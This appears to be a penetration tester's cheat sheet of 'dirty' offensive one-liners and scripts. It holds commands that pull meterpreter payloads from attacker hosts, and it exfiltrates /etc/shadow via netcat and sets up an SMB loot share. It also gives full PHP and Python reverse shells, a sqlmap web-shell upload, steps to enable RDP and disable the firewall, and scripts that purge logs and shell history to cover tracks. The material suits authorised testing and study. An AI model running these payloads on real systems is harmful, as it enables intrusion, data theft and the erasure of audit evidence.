One-Liners and Dirty Scripts

They don't have to be elegant, they just have to get the job done.

If I use it and it's not here, it's probably over here: https://github.com/burmat/burmatscripts

File Transfers

Python HTTP File Download

If you have remote command execution on a box with python - something like this should do the trick:

python -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/meterpreter', '/tmp/meterpreter');"

or if it is a Windows box, it's not much different:

python.exe -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/rs_powershell.exe', '/temp/rs_powershell.exe');"

BITS Download

Start-BitsTransfer -Source $URL -Destination $Path

PowerShell Download with Custom HTTP Headers

$wc = new-object system.net.WebClient;
$wc.Headers.Add('User-Agent', "This is my agent, there is no one like it...") ;
$wc.DownloadString("http://192.168.119.120/run.ps1");

VBS HTTP File Download

I got stuck with a borked up reverse shell on a Windows system with no file transfer methods and no modern scripting options. I scraped together the following one-liner to dump into my shell to get my payload over by writing a VBS script with echo statements to issue the download:

echo Set o=CreateObject^("MSXML2.XMLHTTP"^):Set a=CreateObject^("ADODB.Stream"^):Set f=Createobject^("Scripting.FileSystemObject"^):o.open "GET", "http://<attacker ip>/meterpreter.exe", 0:o.send^(^):If o.Status=200 Then > "C:\temp\download.vbs" &echo a.Open:a.Type=1:a.Write o.ResponseBody:a.Position=0:If f.Fileexists^("C:\temp\meterpreter.exe"^) Then f.DeleteFile "C:\temp\meterpreter.exe" >> "C:\temp\download.vbs" &echo a.SaveToFile "C:\temp\meterpreter.exe" >>"C:\temp\download.vbs" &echo End if >>"C:\temp\download.vbs" &cscript //B "C:\temp\download.vbs" &del /F /Q "C:\temp\download.vbs"

(originally sourced from here: http://karceh.blogspot.com/2011/06/vbs-download-file-from-internet.html)

Impacket's smbserver.py

As always, the impacket suite shines. Use smbserver.py to open an SMB server on your host for file exfiltration:

smbserver.py burmat_exfil ./loot -username burmat -password burmat

## from the target:
PS C:\> net use Q: \\10.1.1.123\burmat_exfil /user:burmat burmat
PS C:\> mv .\bh.zip Q:\bh.zip
PS C:\> net use Q: /delete

PERL HTTP File Download

perl -e 'use File::Fetch; my $ff=File::Fetch->new(uri => "http://10.10.10.11/exploit.sh"); my $file = $ff->fetch() or die $ff->error;'

Nginx + PUT Request

Picked up from here (thanks @ippsec), you can start a nginx server that can accept PUT requests for file transfer via HTTP:

cat /etc/nginx/sites-enabled/file_upload
#server {
#    listen 8001 default_server;
#    server_name burmat.co;
#    location / {
#        root /var/www/upload/;
#        dav_methods PUT;
#    }
#}
service nginx start

Issue a PUT request from a remote system to upload files to /var/www/upload on your system. cURL:

curl -X PUT http://192.168.1.87:8001/l00t.txt -F "data=@/home/user/l00t.txt"

PowerShell:

Invoke-RestMethod -Method PUT -Uri "http://10.10.14.12:8001/l00t.txt" -Body $(Get-Content l00t.txt)

Netcat File Transfer

Because if Netcat is on the system, everything becomes easier:

listener: nc -l -p 4444 > output.file
sender:   nc -w 3 [destination] 4444 < input.file

(and if it's not - go get it: tftp -i 10.1.1.666 get nc.exe)

Certutil.exe Transfer

Using certutil.exe is a clever way to get files down to a victim if you are attacking a Windows box and limited on methods:

certutil.exe -urlcache -split -f http://10.10.15.11/burmat.exe C:\temp\burmat.exe

You can also write a file from Base64 encoded text, too:

certutil.exe -decode C:\temp\payload.txt C:\temp\payload.dll
regsvr32 /s /u C:\temp\payload.dll

(Source: http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html )

HTTP GET Request via Bash

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'

RAW TCP Connection

Fetch remote file using a TCP connection. Run nc -l -p 12345 < "file_to_send" on the attacker box to send the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'

SQLMAP - User w/ FILE Privileges

If you have SQLi with a user account that has FILE privileges, you can use sqlmap to transfer the file to disk without formulating an INFO FILE query yourself:

sqlmap -r inject.req --dbms "mysql" --file-write shell.php --file-dest \\inetpub\\wwwroot\\shell.php

To see if you have the privilege, attempt (you might not have rights) to dump the user table:

root@kali:~ ❯ sqlmap -r inj.req --dbms "mysql" -D mysql -T user -C User,File_Priv --dump
.. SNIP ..
[2 entries]
+---------+-----------+
| User    | File_Priv |
+---------+-----------+
| burmat  | Y         |
| root    | Y         |
+---------+-----------+

XML File Creation on Target (via copy/paste)

This is a clever way to get XML over to the system using copy and paste, and writing that XML to file:

$console = [XML] @"
<XML CODE CODE HERE>
"@

# write the xml to file:
$console.save("C:\users\burmat\documents\console.xml")

Base64

Using Netcat

# receiving host
nc -lp 4443 | base64 -d > loot.txt

# sender host
base64 /etc/shadow > /dev/tcp/10.10.10.123/4443

Copy and Paste

## encode from file with:
base64 <<< $(cat shell.py) | tr -d "\n"

## decode to file with:
echo -n "ZmlsZSBjb250ZW50IGhlcmUK" | base64 -d > shell.py

Shells / Reverse Shells

PHP Reverse Shell - Minified

<?php set_time_limit (0); $VERSION = "1.0"; $ip = "10.10.10.10"; $port = 8080; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { exit(1); } $daemon = 1; } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (1) { if (feof($sock)) { break; } if (feof($pipes[1])) { break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?>

(originally sourced from: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

Python Reverse Shell for Windows

import os,socket,subprocess,threading;

def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

WinRM Ruby Shell

require 'winrm'
conn = WinRM::Connection.new( 
  endpoint: 'https://IP:PORT/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  :no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end

(originally sourced from: https://github.com/WinRb/WinRM)

Enumeration

Finding Vulnerable Applications (Linux)

This one is pretty dirty, and pretty awesome. Run a one-liner on your victim to generate a list of packages (rpm or dpkg) on the machine (/tmp/packages.txt). Copy this file to one that has searchsploit, and run the script. Generate the file with:

FILE="packages.txt"; FILEPATH="/tmp/$FILE"; /usr/bin/rpm -q -f /usr/bin/rpm >/dev/null 2>&1; if [ $? -eq 0 ]; then rpm -qa --qf "%{NAME} %{VERSION}\n" | sort -u > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; else dpkg -l | grep ii | awk '{print $2 " " substr($3,1)}' > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; fi; echo ""; echo "[>] Done. Transfer $FILEPATH to your computer and run: "; echo ""; echo "./packages_compare.sh /path/to/$FILE"; echo "";

(thanks to chryzsh for doing the heavy lifting)

"Proc Mon" (IppSec) Script

One of the handiest scripts to find running jobs and processes in real time. Thanks to IppSec for sharing it with the world:

#!/bin/bash

IFS=$'\n'
old_process=$(ps -eo command)

while true; do
  new_process=$(ps -eo command)
  diff <(echo "$old_process") <(echo "$new_process") |grep [\<\>]
  sleep 1
  old_process=$new_process
done

SNMP Walker

#!/bin/bash
for ip in $(cat ~/Documents/labs/targets.txt  | awk '/^[0-9]/ {print $1}'); do

	echo "Performing snmpwalk on public tree for" $ip " - Checking for System Processes"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.1.6.0 > ~/Documents/labs/$ip/scans/systemprocesses.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for Running Programs"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2 > ~/Documents/labs/$ip/scans/runningprograms.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for Processes Path"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.4 > ~/Documents/labs/$ip/scans/processespath.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for Storage Units"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.2.3.1.4 > ~/Documents/labs/$ip/scans/storageunits.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for Software Name"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2 > ~/Documents/labs/$ip/scans/softwarename.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for User Accouints"	
	snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25 > ~/Documents/labs/$ip/scans/useraccounts.txt

	echo "Performing snmpwalk on public tree for" $ip " - Checking for TCP Local Ports"	
	snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3 > ~/Documents/labs/$ip/scans/tcplocalports.txt

	echo "Performing snmp-check scan for" $ip	
	snmp-check $ip > ~/Documents/labs/$ip/scans/snmpcheck.txt
	
	echo "Cleaning up empty files..."
	find ~/Documents/labs/$ip/scans/ -size  0 -print0 |xargs -0 rm
done

Ping Scan

Linux Ping Scanning:

You can use a regular-old for loop:

for i in {1..254}; do ping -c 1 -W 1 172.1.1.$i | grep 'from'; done

Or you can try out the following Python script:

#!/usr/bin/python
import multiprocessing, subprocess, os
def pinger( job_q, results_q ):
    DEVNULL = open(os.devnull,'w')
    while True:
        ip = job_q.get()
        if ip is None: break
        try:
            subprocess.check_call(['ping','-c1',ip],stdout=DEVNULL)
            results_q.put(ip)
        except:
            pass

if __name__ == '__main__':
    pool_size = 255
    jobs = multiprocessing.Queue()
    results = multiprocessing.Queue()
    pool = [ multiprocessing.Process(target=pinger, args=(jobs,results)) for i in range(pool_size) ]
    for p in pool:
        p.start()

    for i in range(1,255):
        jobs.put('10.120.15.{0}'.format(i))

    for p in pool:
        jobs.put(None)

    for p in pool:
        p.join()

    while not results.empty():
        ip = results.get()
        print(ip)

Windows Ping Scan:

Not the fastest or the cleanest, but it's an easy way to generate a ping scan from a cmd prompt:

FOR /L %i IN (1,1,254) DO ping -n 1 192.168.1.%i | FIND /i "Reply" >> ips.txt

REMOTE DESKTOP (ENABLE / ADD)

Enable RDP

Set-itemproperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -value 0
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -value 1
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

If you need to add your user to the group, you can use: NET LOCALGROUP "Remote Desktop Users" domain\user /ADD. And if you need to disable the firewall altogether: NetSh Advfirewall set allprofiles state off

SYSTEM CLEANUP

Purge Linux Logs

#!/bin/sh

/etc/init.d/sysklogd stop
VARLOGS="auth.log boot btmp daemon.log debug dmesg kern.log mail.info mail.log mail.warn messages syslog udev wtmp"
cd /var/log
for ii in $VARLOGS; do
  echo -n > $ii
  rm -f $ii.? $ii.?.gz
done

/etc/init.d/samba stop
rm -f /var/log/samba/*

rm -f /var/lib/dhcp3/*

for ii in /var/log/proftpd/* /var/log/postgresql/* /var/log/apache2/*; do
  echo -n > $ii
done

Covering Tracks

#!/bin/bash
echo "COVERING TRACKS"
echo  "clearing /var/log/auth.log"
echo "" > /var/log/auth.log
echo "clearing ~/.bash_history"
echo "" > ~/.bash_history
echo "clearing /root/.bash_history"
echo "" > /root/.bash_history
echo "removing ~/.bash_history"
rm ~/.bash_history -rf
echo "removing /tmp/"
rm -R /tmp/*
echo "clearing /var/log/messages"
echo "" > /var/log/messages
echo "clearing command history"
history -c